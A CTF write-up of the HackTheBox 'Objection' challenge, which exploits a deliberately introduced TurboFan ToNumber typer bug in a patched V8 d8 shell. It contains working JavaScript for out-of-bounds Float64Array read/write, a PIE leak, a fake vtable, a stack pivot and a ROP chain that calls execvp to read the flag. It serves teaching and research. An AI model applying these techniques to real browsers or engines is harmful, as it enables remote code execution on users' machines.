Objection! — Exploiting a V8 TurboFan Typer Bug in HTB Global Cyber Skills Benchmark 2026

Challenge: Objection
Category: Pwn
Event: HackTheBox Global Cyber Skills Benchmark 2026
Difficulty: Hard
Target: d8, the standalone V8 JavaScript shell
Binary: 71 MB x86-64 ELF, PIE, Full RELRO, NX, not stripped
V8 revision: 3e7b7965795953da7b80b370ff1e21559a99d58f
Repository: github.com/mlesterdampios/htb-gcsb-2026-pwn-objection


Introduction

Objection was a pwn challenge that did not begin with a classic C bug. There was no obvious stack buffer overflow, no format string, no gets(), no easy win hiding inside a small hand-written binary.

Instead, the target was a patched build of V8, the JavaScript engine used by Chromium and Node.js. The challenge service accepted a base64-encoded JavaScript file, wrote it to a temporary file, and executed it with a custom d8 binary. The goal was simple on paper: make that JavaScript read /app/flag.txt.

The path to get there was not simple.

The author introduced a tiny-looking compiler bug:

- if (type.Maybe(Type::StringOrReceiver())) return Type::Number();
+ if (type.Maybe(Type::String())) return Type::Number();

One word disappeared: OrReceiver.

That one removed word made TurboFan, V8’s optimizing compiler, forget that JavaScript objects can produce arbitrary numbers when converted with +obj. Once the compiler believed the wrong type, it generated unsafe optimized code for a typed-array access. That became an out-of-bounds Float64Array read/write primitive.

From there, the exploit chain became a very satisfying journey:

JIT typer bug
  -> bounds-check elimination
  -> out-of-bounds Float64Array access
  -> memory scan
  -> leak d8 PIE base
  -> corrupt a native C++ vtable pointer
  -> stack pivot
  -> ROP
  -> execvp("/bin/cat", ...)
  -> flag

This writeup explains that chain in detail. I will keep two audiences in mind:

  • Non-specialist readers: the intuition behind the bug and why it matters.
  • Technical readers: the V8-specific exploitation details, memory layout, vtable hijack, and ROP chain.

What the Challenge Gave Us

The repository is organized into three main folders:

original_challenge/
rebuilt_helpers/
proof_of_concepts/

original_challenge

This folder contains the challenge as released:

original_challenge/
├── Dockerfile
├── build_docker.sh
└── challenge/
    ├── args.gn
    ├── d8
    ├── flag.txt
    ├── icudtl.dat
    ├── patch.diff
    ├── server.py
    ├── snapshot_blob.bin
    └── v8_revision

The most important file is original_challenge/challenge/patch.diff. That diff reveals both the intended vulnerability and the hardening choices made by the challenge author.

The service wrapper is original_challenge/challenge/server.py:

import base64
import subprocess
import sys
import tempfile

TIMEOUT = 15
MAX_SIZE = 50*1024      # 50KB

length = int(input("Enter length of base64 encoded script: "))
if length > MAX_SIZE:
    print("Payload is too large!")
    exit(1)

print("Enter base64 encoded script: ", end="", flush=True)
b64 = b""
while len(b64) < length:
    b64 += sys.stdin.buffer.read(length - len(b64))

with tempfile.NamedTemporaryFile() as f:
    f.write(base64.b64decode(b64))
    p = subprocess.Popen(["./d8", f.name],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )
    try:
        out, err = p.communicate(timeout=TIMEOUT)
    except subprocess.TimeoutExpired:
        p.kill()
        out, err = p.communicate()
    print(f"STDOUT: {out}")
    print(f"STDERR: {err}")

The constraints matter:

Payload size limit: 50 KB
Runtime limit:      15 seconds
Input format:       base64-encoded JavaScript
Output:             captured stdout/stderr from d8

So the final exploit had to be compact, self-contained, non-interactive, and fast.

rebuilt_helpers

This was the helper build I made during the early research phase.

Because the challenge provided the V8 revision and the patch diff, I could rebuild V8 locally. The important trick was to keep the vulnerability and relevant challenge hardening, but restore helper functionality that made debugging practical.

The real challenge binary removed normal d8 shell helpers such as print(), and it did not allow native V8 syntax like:

%PrepareFunctionForOptimization(...)
%OptimizeFunctionOnNextCall(...)
%GetOptimizationStatus(...)
%DebugPrint(...)

That makes remote exploitation more realistic, but it also makes research painful. Without those helpers, debugging becomes mostly blind: either the process crashes, hangs, or prints a flag.

The rebuilt helper binary became my laboratory. It allowed me to:

  1. force TurboFan optimization on demand;
  2. check whether a function was optimized;
  3. dump optimized machine code;
  4. use print() for memory scans;
  5. inspect V8 objects with debug helpers;
  6. test one exploit primitive at a time.

The helper-side files are in rebuilt_helpers, including rebuilt_helpers/challenge/patch.diffrebuilt_helpers/challenge/args.gn, and rebuilt_helpers/Dockerfile.

That rebuild was one of the highest-leverage steps in the solve. It turned the challenge from:

I hope this JavaScript does something useful.

Into:

I can see exactly what TurboFan compiled and why the bounds check disappeared.

proof_of_concepts

This folder documents the exploit-development path:

proof_of_concepts/
├── poc_scan2.js
├── poc_scan2_output.txt
├── poc_vtable_test.js
├── poc_vtable_test_output.txt
├── poc_vtable_test_output_ida.txt
├── final_full_working_remote.js
├── payload_remote.b64
└── submit_remote.py

The important progression was:

  1. poc_scan2.js: prove the out-of-bounds read and inspect memory.
  2. poc_scan2_output.txt: record optimized code and memory scan output.
  3. poc_vtable_test.js: prove out-of-bounds write and vtable-pointer corruption.
  4. poc_vtable_test_output.txt: verify the canary write/restore test.
  5. poc_vtable_test_output_ida.txt: confirm the crash site and virtual-call dispatch through IDA.
  6. final_full_working_remote.js: final exploit script for the remote challenge server.
  7. payload_remote.b64: base64-encoded final JavaScript payload.
  8. submit_remote.py: small socket client for the challenge protocol.

The Challenge Hardening

Before looking at the bug, it is worth looking at the doors the challenge author intentionally closed.

This was not a normal d8 shell where you can simply call a helper to read a file. The author removed almost every convenient escape hatch.

No d8 Shell Helpers

In patch.diff, the normal global template creation was commented out:

-  Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
+  //Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
   EscapableHandleScope handle_scope(isolate);
-  Local<Context> context = Context::New(isolate, nullptr, global_template);
+  //Local<Context> context = Context::New(isolate, nullptr, global_template);
+  Local<Context> context = Context::New(
+    isolate, nullptr, ObjectTemplate::New(isolate),
+    v8::MaybeLocal<Value>());

CreateGlobalTemplate() is what normally installs d8-specific helpers. Without it, the environment loses things like:

print(...)
read(...)
readline(...)
load(...)

The JavaScript language and standard built-ins still exist, which is why Float64ArrayBigIntSharedArrayBuffer, and Atomics.wait() were still useful. But the convenient d8 shell API was gone.

That means this does not work:

print(read('/app/flag.txt'));

The exploit had to produce native code execution, not just call a friendly shell helper.

Dynamic Imports and ShadowRealm Disabled

The patch also commented out host callbacks related to dynamic module loading and ShadowRealm context creation:

+  /*
   isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostImportModuleWithPhaseDynamicallyCallback(
       Shell::HostImportModuleWithPhaseDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
       Shell::HostInitializeImportMetaObject);
   isolate->SetHostCreateShadowRealmContextCallback(
       Shell::HostCreateShadowRealmContext);
+  */

Again, this removes obvious routes for loading or escaping through shell features.

Turbo Typer Hardening Disabled

The author also changed this flag in src/flags/flag-definitions.h:

-DEFINE_BOOL_READONLY(turbo_typer_hardening, true,
+DEFINE_BOOL_READONLY(turbo_typer_hardening, false,
                      "extra bounds checks to protect against some known typer "
                      "mismatch exploit techniques (best effort)")

This is a major hint.

TurboFan typer bugs are a known class of V8 exploitation technique. turbo_typer_hardening is a best-effort mitigation that adds extra checks against some of those mismatches. The challenge author disabled it.

That is basically the challenge saying:

There is a typer bug here. I removed the guard rails. Now exploit it properly.

V8 Sandbox Disabled

The build configuration in original_challenge/challenge/args.gn included:

v8_enable_sandbox = false

Modern V8 sandboxing is designed to make memory-corruption exploitation harder by isolating many JavaScript heap structures. In this CTF build, the sandbox was disabled, which made the out-of-bounds typed-array primitive much more useful once achieved.

This does not make the exploit automatic. It simply means the challenge allows the classic path:

typed-array OOB -> native pointer leak -> native object corruption -> ROP

The Vulnerability: One Removed Word

The core bug is in src/compiler/operation-typer.cc:

Type OperationTyper::ToNumber(Type type) {
   // Number their callbacks might produce. Similarly in the case
   // where {type} includes String, it's not possible at this point
   // to tell which exact numbers are going to be produced.
-  if (type.Maybe(Type::StringOrReceiver())) return Type::Number();
+  if (type.Maybe(Type::String())) return Type::Number();

To understand why this is dangerous, we need to talk about JavaScript conversion and TurboFan’s type reasoning.


Layman’s Explanation: The Guard Who Trusted the Wrong Badge

Imagine a security guard watching a hallway with numbered doors.

The guard is told:

People should only enter doors 0, 1, 2, or 3.

If the guard is certain that the door number is always between 0 and 3, he stops checking. That makes the line move faster.

But there is a trick. Some visitors are not ordinary visitors. They carry a special badge that lets them answer the question “which door?” by running their own little script.

During training, the visitor says:

Door 0.

Then later, during the real attack, the visitor says:

Door 300.

The guard still believes the answer can only be 0 through 3, so he does not check. The visitor walks into a part of the building they should never reach.

In this challenge:

  • the guard is TurboFan, V8’s optimizing compiler;
  • the doors are indexes into a Float64Array;
  • the special badge is a JavaScript object;
  • the attacker’s script is valueOf();
  • the forbidden hallway is memory beyond the end of the typed array.

That is the vulnerability in simple terms: the compiler trusted a type assumption that JavaScript could violate at runtime.


Technical Explanation: ToNumber, Receivers, and TurboFan

JavaScript automatically converts values to numbers in many places.

For example:

+"123"       // 123
+true        // 1
+null        // 0

Objects are special:

let obj = {
  valueOf() {
    return 1337;
  }
};

+obj; // 1337

When JavaScript evaluates +obj, it performs a ToNumber conversion. That conversion may call attacker-controlled code such as valueOf() or toString().

In V8 terminology, ordinary JavaScript objects are Receivers. If a value might be a Receiver, then ToNumber can produce almost any number, because the object can define its own conversion behavior.

That is why the original code was conservative:

if (type.Maybe(Type::StringOrReceiver())) return Type::Number();

In plain English:

If the input might be a string or object, the numeric result could be any number.

The challenge patch changed it to:

if (type.Maybe(Type::String())) return Type::Number();

Now objects are no longer handled by that conservative case.

This becomes dangerous when TurboFan sees a value with a union type such as:

Smi[0,3] | Receiver

Meaning:

This value is either a small integer between 0 and 3, or it is a JavaScript object.

Correct reasoning should be:

ToNumber(Smi[0,3] | Receiver) -> Number

Because the Receiver may run valueOf() and return anything.

The patched reasoning becomes too narrow:

ToNumber(Smi[0,3] | Receiver) -> Smi[0,3]

That is false.

At runtime, the object can return 300999, or any other attacker-controlled index. But TurboFan optimized the code under the belief that the index is still only 012, or 3.

That mismatch is the bug.


The Vulnerable JavaScript Shape

The final exploit uses two functions: one for reading and one for writing.

The read primitive looks like this:

const ta = new Float64Array(9);
ta[0] = 1.1;
ta[1] = 2.2;
ta[2] = 3.3;
ta[3] = 4.4;

function vuln_read(idx) {
    let n;
    function q() { return idx; }
    q();

    if (idx < 0) {
        n = this;
    } else {
        n = idx & 3;
    }

    return ta[+n];
}

The write primitive is symmetric:

function vuln_write(idx, val) {
    let n;
    function q() { return idx; }
    q();

    if (idx < 0) {
        n = this;
    } else {
        n = idx & 3;
    }

    ta[+n] = val;
}

The important expression is:

ta[+n]

The unary + forces n through ToNumber.

The function has two paths:

if (idx < 0) {
    n = this;        // Receiver path
} else {
    n = idx & 3;     // Integer path: always 0, 1, 2, or 3
}

During warm-up, both paths are exercised. TurboFan learns that n can be:

Smi[0,3] | Receiver

Because of the patched ToNumber logic, TurboFan incorrectly concludes that +n remains safely in range.

The attack then calls:

vuln_read.call({
    valueOf() {
        return 300;
    }
}, -1);

Runtime behavior:

idx = -1
  -> idx < 0 is true
  -> n = this
  -> +n calls valueOf()
  -> valueOf() returns 300
  -> optimized code reads ta[300]

But ta has only 9 elements.

That means ta[300] is an out-of-bounds read from memory after the typed array’s backing store.

The exploit wraps this into helper functions:

function read(idx) {
    return vuln_read.call({
        valueOf() {
            return idx;
        }
    }, -1);
}

function write(idx, val) {
    return vuln_write.call({
        valueOf() {
            return idx;
        }
    }, -1, val);
}

Now the attacker controls the typed-array index via valueOf().


Why Float64Array Is So Useful

A normal JavaScript array stores JavaScript values. Those values are tagged, boxed, moved, and managed by the engine.

Float64Array is different. It stores raw 64-bit floating-point values in a contiguous backing store:

index 0 -> 8 bytes
index 1 -> 8 bytes
index 2 -> 8 bytes
...

If the compiler removes bounds checks, each index becomes eight bytes of memory access:

ta[i] -> *(double *)(ta_backing + i * 8)

The exploit then reinterprets those float bits as 64-bit integers:

let _buf = new Float64Array(1);
let _u32 = new Uint32Array(_buf.buffer);

function ftoi64(f) {
    _buf[0] = f;
    return (BigInt(_u32[1]) << 32n) | BigInt(_u32[0]);
}

function itof64(x) {
    x = BigInt.asUintN(64, x);
    _u32[0] = Number(x & 0xffffffffn);
    _u32[1] = Number((x >> 32n) & 0xffffffffn);
    return _buf[0];
}

function read64(idx) {
    return ftoi64(read(idx));
}

function write64(idx, val) {
    write(idx, itof64(val));
}

This is the point where the bug becomes a real exploitation primitive:

read64(index)  -> read 8 raw bytes at ta_backing + index * 8
write64(index) -> write 8 raw bytes at ta_backing + index * 8

It is important to describe this accurately. At this stage, the primitive is not instantly “write anywhere in the whole process.” It is a relative out-of-bounds read/write from the ta backing store. That is still extremely powerful because nearby memory contains useful V8/d8 structures, and the exploit can also place fake structures inside memory whose address it later recovers.


Early PoC 1: Proving the OOB Read

The first serious proof of concept was proof_of_concepts/poc_scan2.js.

This script was built for the helper binary, not the remote challenge. It uses native V8 syntax to force optimization:

%PrepareFunctionForOptimization(vuln);
for (let i = 0; i < 10; i++) {
    vuln.call(d, -1);
    vuln.call(d, i & 3);
}
%OptimizeFunctionOnNextCall(vuln);
vuln.call(d, 0);

let status = %GetOptimizationStatus(vuln);
print("Status:", status);

The output in poc_scan2_output.txt showed:

Status: 41

The exact meaning of V8 optimization-status bitmasks can vary by build, but for this exploit it confirmed the important thing: the function had been optimized by TurboFan.

The in-bounds sanity check also passed:

ta[0]: 3ff199999999999a expected: 3ff199999999999a
ta[3]: 401199999999999a expected: 401199999999999a

Then the optimized machine code revealed the key instruction pattern:

call 0x5604aac1ba80  (ToNumber)
...
movq rdi,0x109c00034780
movsd xmm0,[rdi+rcx*8]

That movsd was the “there it is” moment.

Translated:

rdi = typed-array backing-store address
rcx = numeric index from ToNumber
movsd xmm0, [rdi + rcx * 8]

The critical thing missing before the load was a real bounds check like:

cmp rcx, 9
jae out_of_bounds

TurboFan had convinced itself that the index was safe, so it generated a raw indexed memory load.

Then the memory scan started dumping nearby qwords. The exciting part was this region:

[70] off=560 val=0x00005604ab1118e8
[80] off=640 val=0x00005604ab11a4e8
[82] off=656 val=0x676e696c706d6153
[83] off=664 val=0x0000646165726854

The two qwords at indexes 82 and 83 decode as ASCII in little-endian form:

0x676e696c706d6153 -> "Sampling"
0x0000646165726854 -> "Thread"

That meant the out-of-bounds scan had reached a native object/string region related to SamplingThread.

The pointer-looking value two qwords earlier became important:

[80] 0x00005604ab11a4e8

That looked like a pointer into the d8 binary, and later it became the ASLR bypass.

What About 0xbadbad00badbad00?

The scan also showed regions filled with values like:

0xbadbad00badbad00

That pattern is a poison/debug fill value. It helped distinguish boring/unusable regions from live structures. For exploitation, the important discoveries were not the poison values, but the live pointer-looking values and the SamplingThread marker.


Early PoC 2: Proving the OOB Write and Vtable Control

After proving the out-of-bounds read, the next question was:

Can the write primitive corrupt something meaningful enough to control execution?

That is what proof_of_concepts/poc_vtable_test.js tested.

The test was intentionally simple:

  1. optimize both read and write primitives;
  2. locate the interesting native object region;
  3. read what appears to be a vtable pointer;
  4. overwrite it with 0x4141414141414141;
  5. read it back to verify the write;
  6. restore the original pointer;
  7. overwrite it again;
  8. let d8 shut down normally and observe the crash.

The output in poc_vtable_test_output.txt showed:

[*] read opt: 41 write opt: 41
[+] victim at ta[20]
[+] ta[100] (SamplingThread vtable ptr): 0x00005580063e04e8
[*] ta[10] (victim data ptr):            0x0000178c00034780
[*] ta[15] (victim allocator ptr):       0x00007ffdb4270558
[*] Writing canary 0x4141414141414141 to ta[100]...
[*] Verifying write: ta[100] = 0x4141414141414141
[*] Restore original vtable
[*] Verify restore: ta[100] = 0x00005580063e04e8
[*] Now writing canary again and exiting (crash expected if Run/dtor called)...
[*] About to exit d8 normally...

This was a huge milestone.

The canary round-trip proved that the write primitive was precise:

write 0x4141414141414141
read  0x4141414141414141
restore original pointer
read  original pointer

The crash then proved that this was not just corrupting harmless data.

The IDA notes in poc_vtable_test_output_ida.txt showed the register state at the crash:

RAX 4141414141414141 'AAAAAAAA'
RDI 0000178C00034A00 -> "AAAAAAAA"
RIP 0000558004C758FB v8::internal::Ticker::~Ticker()+3B

The instruction at RIP was:

mov rax, [rdi]
call qword ptr [rax+8]

IDA showed the surrounding destructor path:

v8::internal::Ticker::~Ticker()+38: mov rax, [rdi]
v8::internal::Ticker::~Ticker()+3B: call qword ptr [rax+8]

That answered the control-flow question perfectly.

The program was doing a virtual call through a pointer we could corrupt. Since rax became 0x4141414141414141, the destructor tried to call through attacker-controlled data and crashed.

In layman’s terms:

We did not merely scribble on memory. We changed the program’s “which function should I call?” table. When the program later followed that table, it walked straight into our fake pointer.

This also revealed an important detail for the final exploit:

The virtual call uses slot 1: [vtable + 8]

So the final fake vtable needed the real control-flow target at slot 1:

write64(FAKE_VTABLE_IDX + 0, 0xdeadbeefdeadbeefn); // slot 0
write64(FAKE_VTABLE_IDX + 1, pivot_gadget);         // slot 1: called

The Final Remote Exploit

The final exploit is proof_of_concepts/final_full_working_remote.js.

Unlike the helper PoCs, the final script cannot use:

print(...)
%PrepareFunctionForOptimization(...)
%OptimizeFunctionOnNextCall(...)
%GetOptimizationStatus(...)
%DebugPrint(...)
readline(...)

It must run inside the stripped challenge d8 context. So the exploit replaces forced optimization with warm-up loops and replaces debug output with pure behavior: if the exploit works, d8 is replaced by /bin/cat and the flag appears on stdout.

Let’s walk through the final exploit in phases.


Phase 1: Warm Up TurboFan Without Native Syntax

The remote binary does not allow native V8 intrinsics. We cannot say:

%OptimizeFunctionOnNextCall(vuln_read);

So the exploit naturally warms up the functions:

function warmRead(n) {
    for (let i = 0; i < n; i++) {
        vuln_read.call(dr, -1);
        vuln_read.call(dr, i & 3);
    }

    for (let i = 0; i < 20000; i++) {
        vuln_read.call(dr, -1);
    }

    vuln_read.call(dr, 0);
}

function warmWrite(n) {
    for (let i = 0; i < n; i++) {
        vuln_write.call(dw, -1, 0);
        vuln_write.call(dw, i & 3, 0);
    }

    for (let i = 0; i < 20000; i++) {
        vuln_write.call(dw, -1, 0);
    }

    vuln_write.call(dw, 0, 0);
}

The function is called many times with both:

idx = -1       -> Receiver path
idx = i & 3    -> safe small integer path

This creates the mixed type feedback needed for TurboFan to see:

Smi[0,3] | Receiver

The exploit also uses a small pause:

function nap() {
    let w = new Int32Array(new SharedArrayBuffer(4));
    Atomics.wait(w, 0, 0, 5);
}

This gives V8’s background compilation machinery a tiny scheduling window before the exploit depends on optimized code.

The initial warm-up is large:

warmRead(120000);
warmWrite(120000);

If the first attempt does not produce a working out-of-bounds primitive, the exploit retries additional warm-up passes.


Phase 2: Find the Victim Typed Array

The exploit allocates a second typed array with recognizable sentinel values:

const SENTINEL_A = 13371337.1337;
const SENTINEL_B = 13371338.1338;

const victim = new Float64Array(9);
victim[0] = SENTINEL_A;
victim[1] = SENTINEL_B;

Then it scans past the end of ta:

let sa = ftoi64(SENTINEL_A);
let sb = ftoi64(SENTINEL_B);

function findVictim() {
    for (let i = 9; i < 1024; i++) {
        if (read64(i) === sa && read64(i + 1) === sb) {
            return i;
        }
    }

    return -1;
}

Why start at index 9?

Because ta has length 9:

valid indexes: 0 through 8
first OOB:     9

If the scan finds the sentinel pair, it means:

ta[victim_idx]     reads victim[0]
ta[victim_idx + 1] reads victim[1]

That proves the out-of-bounds primitive is alive in the remote-style environment.

The exploit retries if necessary:

for (let attempt = 0; attempt < 8; attempt++) {
    nap();

    victim_idx = findVictim();
    if (victim_idx >= 0) {
        break;
    }

    warmRead(40000);
    warmWrite(40000);
}

if (victim_idx < 0) {
    throw 1;
}

This is a reliability improvement. Instead of assuming the compiler is ready immediately, the exploit checks whether the OOB read actually works.


Phase 3: Recover the ta Backing-Store Address

Finding the victim array tells us a relationship:

ta_backing + victim_idx * 8 = address of victim[0]

In this build’s layout, a pointer to the victim’s data can be read at:

let victim_data_ptr = read64(victim_idx - 10);

Then the exploit computes:

let ta_backing = victim_data_ptr - BigInt(victim_idx) * 8n;

function addrOfTaIndex(i) {
    return ta_backing + BigInt(i) * 8n;
}

This step is easy to misunderstand, so here is the intuition.

Before this point, the exploit can say:

read index 140
write index 180

But it does not know the real virtual addresses of those slots.

After recovering ta_backing, it can convert an index to an actual address:

index 140 -> ta_backing + 140 * 8
index 180 -> ta_backing + 180 * 8

That is essential because the exploit needs to build fake native structures in typed-array memory and then point C++ objects at those structures.

Again, this does not mean the exploit has a universal arbitrary write to any address. It means it has an address-aware relative OOB primitive and can compute the native addresses of memory it controls.


Phase 4: Find SamplingThread and Leak the PIE Base

The binary is PIE, so ASLR randomizes the base address of d8.

The exploit needs a pointer into the binary. The early scan already revealed a useful marker:

"SamplingThread"

The final exploit searches for that marker dynamically:

const MARKER_SAMPLING = 0x676e696c706d6153n;
const MARKER_THREAD   = 0x0000646165726854n;

let marker_idx = -1;

for (let i = 9; i < 1024; i++) {
    if (read64(i) === MARKER_SAMPLING && read64(i + 1) === MARKER_THREAD) {
        marker_idx = i;
        break;
    }
}

if (marker_idx < 0) {
    throw 2;
}

The object of interest sits two qwords before the marker:

let target_obj_idx = marker_idx - 2;

At that location is a pointer into d8‘s vtable region. The exploit computes the PIE base:

let d8_base = read64(target_obj_idx) - 0x33314e8n;

if ((d8_base & 0xfffn) !== 0n) {
    throw 3;
}

The constant 0x33314e8 is the static offset of the relevant vtable address point in this exact d8 build.

The page-alignment check is a sanity check:

ELF base addresses are page-aligned.
If d8_base & 0xfff is not zero, the leak is probably wrong.

At this point, ASLR for the main binary is defeated:

absolute gadget address = d8_base + gadget_offset

Phase 5: Choose the Control-Flow Hijack

The earlier vtable test showed that d8 eventually calls through a vtable-like pointer during shutdown, specifically through slot 1:

mov rax, [rdi]
call qword ptr [rax+8]

This is perfect for a C++ vtable hijack.

The final exploit creates a fake vtable inside memory addressed relative to ta:

const FAKE_VTABLE_IDX = 140;
const FAKE_STACK_IDX  = 180;

let fake_vtable_addr = addrOfTaIndex(FAKE_VTABLE_IDX);
let fake_stack_addr  = addrOfTaIndex(FAKE_STACK_IDX);

write64(FAKE_VTABLE_IDX + 0, 0xdeadbeefdeadbeefn);
write64(FAKE_VTABLE_IDX + 1, pivot_gadget);

Slot 0 is unused for the destructor path being targeted. Slot 1 contains the pivot gadget.

At the end of the exploit, the object pointer is corrupted:

write64(target_obj_idx, fake_vtable_addr);

When the destructor path runs, it loads the fake vtable and calls slot 1:

fake_vtable[1] -> pivot_gadget

Phase 6: Stack Pivot

The pivot gadget used by the final exploit is:

const PIVOT_GADGET_OFF = 0x2ee45ffn;
let pivot_gadget = d8_base + PIVOT_GADGET_OFF;

The useful behavior of this gadget is that it derives rsp and/or rbp from memory reachable through rdi, where rdi is the C++ this pointer during the virtual call.

On Linux x86-64, the first function argument is passed in rdi. For C++ instance methods, that first argument is the object pointer:

rdi = this

So if the virtual call is made on the corrupted object, the pivot gadget can read fields from that object and use them to redirect the stack.

The exploit prepares those fields:

write64(target_obj_idx + 2, fake_stack_addr);
write64(target_obj_idx + 3, fake_stack_addr);
write64(target_obj_idx + 4, fake_stack_addr);

In other words:

object fields used by pivot gadget -> fake_stack_addr

After the pivot, control flow starts returning through qwords written into the fake stack inside the typed-array backing store.

That is the bridge from:

vtable hijack

To:

ROP chain

Phase 7: Build the ROP Chain

Once d8_base is known, the exploit computes useful gadgets:

const RET     = d8_base + 0x16c9019n;
const POP_RDI = d8_base + 0x16e586dn;
const POP_RSI = d8_base + 0x1790c8en;
const EXECVP  = d8_base + 0x330e160n;
const ADD_RSP_8_RET = d8_base + 0x32b6053n;

The final call target is:

execvp("/bin/cat", argv);

Why execvp?

Because the server captures stdout. We do not need an interactive shell. We need one clean program that prints the flag and exits.

The exploit writes strings into typed-array memory:

const BIN_CAT_IDX  = FAKE_STACK_IDX + 16;
const FLAG_ABS_IDX = FAKE_STACK_IDX + 18;
const FLAG_REL_IDX = FAKE_STACK_IDX + 20;
const ARGV_IDX     = FAKE_STACK_IDX + 23;

let bin_cat_addr  = addrOfTaIndex(BIN_CAT_IDX);
let flag_abs_addr = addrOfTaIndex(FLAG_ABS_IDX);
let flag_rel_addr = addrOfTaIndex(FLAG_REL_IDX);
let argv_addr     = addrOfTaIndex(ARGV_IDX);

The strings are written as raw qwords:

// "/bin/cat\x00"
write64(BIN_CAT_IDX + 0, 0x7461632f6e69622fn);
write64(BIN_CAT_IDX + 1, 0n);

// "/app/flag.txt\x00"
write64(FLAG_ABS_IDX + 0, 0x616c662f7070612fn);
write64(FLAG_ABS_IDX + 1, 0x0000007478742e67n);

// "flag.txt\x00" fallback/local convenience
write64(FLAG_REL_IDX + 0, 0x7478742e67616c66n);
write64(FLAG_REL_IDX + 1, 0n);

Then it builds argv:

// argv = ["/bin/cat", "/app/flag.txt", "flag.txt", NULL]
write64(ARGV_IDX + 0, bin_cat_addr);
write64(ARGV_IDX + 1, flag_abs_addr);
write64(ARGV_IDX + 2, flag_rel_addr);
write64(ARGV_IDX + 3, 0n);

Then the fake stack:

write64(FAKE_STACK_IDX + 0, 0x4242424242424242n);
write64(FAKE_STACK_IDX + 1, ADD_RSP_8_RET);
write64(FAKE_STACK_IDX + 2, 0x0badbad00badbad0n);

write64(FAKE_STACK_IDX + 3, POP_RDI);
write64(FAKE_STACK_IDX + 4, bin_cat_addr);

write64(FAKE_STACK_IDX + 5, POP_RSI);
write64(FAKE_STACK_IDX + 6, argv_addr);

write64(FAKE_STACK_IDX + 7, RET);
write64(FAKE_STACK_IDX + 8, EXECVP);

The intended ROP logic is:

pop rdi; ret
  rdi = address of "/bin/cat"

pop rsi; ret
  rsi = address of argv

ret
  alignment padding

execvp("/bin/cat", argv)

The extra RET is a common stack-alignment trick. Some libc paths assume 16-byte stack alignment. A single ret can correct alignment before the function call.

The ADD_RSP_8_RET at the beginning compensates for where the pivot lands, skipping one qword so execution reaches the intended chain cleanly.


Phase 8: The Trigger

Everything is prepared before the final corruption:

  • OOB read/write works.
  • victim_idx is discovered.
  • ta_backing is recovered.
  • SamplingThread/Ticker marker is found.
  • d8_base is computed.
  • fake vtable is written.
  • fake stack is written.
  • strings and argv are written.
  • object fields used by the pivot are patched.

The last write is:

write64(target_obj_idx, fake_vtable_addr);

That overwrites the target object’s vtable pointer.

After the script finishes, d8 begins shutting down. During cleanup, the relevant destructor path performs a virtual call. Instead of using the real vtable, it uses the fake vtable.

The chain becomes:

d8 shutdown
  -> Ticker/SamplingThread cleanup
    -> virtual call through corrupted vtable
      -> fake_vtable[1]
        -> pivot_gadget
          -> fake_stack
            -> pop rdi; ret
            -> pop rsi; ret
            -> execvp("/bin/cat", argv)
              -> /bin/cat /app/flag.txt flag.txt
                -> stdout captured by server

That is the final exploit.


Why Not Spawn a Shell?

A natural question is:

Why not just call system("/bin/sh")?

Because this is not an interactive session.

The server launches d8 with pipes and collects output:

out, err = p.communicate(timeout=TIMEOUT)

There is no TTY. There is no interactive prompt to type commands into. A shell would likely hang or be useless.

execvp("/bin/cat", ...) is cleaner. It replaces the d8 process with cat, and cat prints the file directly to stdout. The server already captures stdout and sends it back.

For this kind of CTF service, the best shell is often no shell at all.


Remote Submission

The final base64 payload is stored in proof_of_concepts/payload_remote.b64.

The submission helper is proof_of_concepts/submit_remote.py:

b64 = Path(payload_path).read_bytes().strip()
length = str(len(b64)).encode()

with socket.create_connection((HOST, PORT), timeout=10) as s:
    banner = recv_until(s, b"Enter length of base64 encoded script: ")
    s.sendall(length + b"\n")

    prompt = recv_until(s, b"Enter base64 encoded script: ")
    s.sendall(b64)

    out = b""
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        out += chunk

The server then decodes the payload, executes it with ./d8, and returns stdout/stderr.


Full Exploit Flow

Here is the whole chain in one diagram:

[1] Submit base64 JavaScript to the challenge service
        |
[2] d8 executes the script inside a stripped shell context
        |
[3] Allocate ta = Float64Array(9)
    Allocate victim = Float64Array(9) with sentinel doubles
        |
[4] Warm vuln_read/vuln_write heavily
    Receiver path: idx < 0 -> n = this
    Integer path:  idx >= 0 -> n = idx & 3
        |
[5] TurboFan sees Smi[0,3] | Receiver
    Patched ToNumber forgets Receiver can produce arbitrary Number
        |
[6] TurboFan removes typed-array bounds protection
    ta[+n] becomes raw [backing_store + index * 8]
        |
[7] valueOf() returns attacker-controlled indexes
    OOB read/write becomes available
        |
[8] Scan for victim sentinel values
    Find victim_idx
        |
[9] Read victim_data_ptr
    Compute ta_backing = victim_data_ptr - victim_idx * 8
        |
[10] Scan for "SamplingThread" marker
     target_obj_idx = marker_idx - 2
        |
[11] Leak vtable pointer
     d8_base = leaked_vtable - 0x33314e8
        |
[12] Compute gadget addresses from d8_base
        |
[13] Write fake vtable, fake stack, strings, argv, and ROP chain
        |
[14] Patch object fields used by pivot gadget
        |
[15] Overwrite target object's vtable pointer with fake_vtable_addr
        |
[16] d8 exits -> destructor path -> virtual call through fake vtable
        |
[17] pivot_gadget moves execution to fake stack
        |
[18] ROP calls execvp("/bin/cat", argv)
        |
[19] cat prints /app/flag.txt
        |
[20] Server captures stdout
        |
[21] Flag

Why the Final Exploit Is Reliable

The early helper PoCs used hardcoded observations because they were research tools. The final exploit improves reliability by discovering what it needs at runtime.

It does not hardcode the victim index

Instead of assuming where victim lands, it scans for:

SENTINEL_A, SENTINEL_B

It does not assume optimization completed instantly

It warms up, scans, retries, and warms up again if needed.

It does not hardcode the SamplingThread index

It scans for the little-endian marker:

"Sampling"
"Thread"

It does not hardcode the PIE base

It leaks a vtable pointer and subtracts a known static offset.

It keeps fake structures in controlled memory

The fake vtable, fake stack, strings, and argv live inside memory addressed relative to ta_backing, which the exploit computes.

This is the difference between a local crash PoC and a real remote exploit.


Research Timeline

The solve path looked roughly like this:

1. Read patch.diff.
2. Notice the OperationTyper::ToNumber change.
3. Notice turbo_typer_hardening = false.
4. Notice d8 shell helpers are removed.
5. Rebuild the exact V8 revision with helpers enabled.
6. Use helper build to force optimization and dump code.
7. Write poc_scan2.js to prove OOB read.
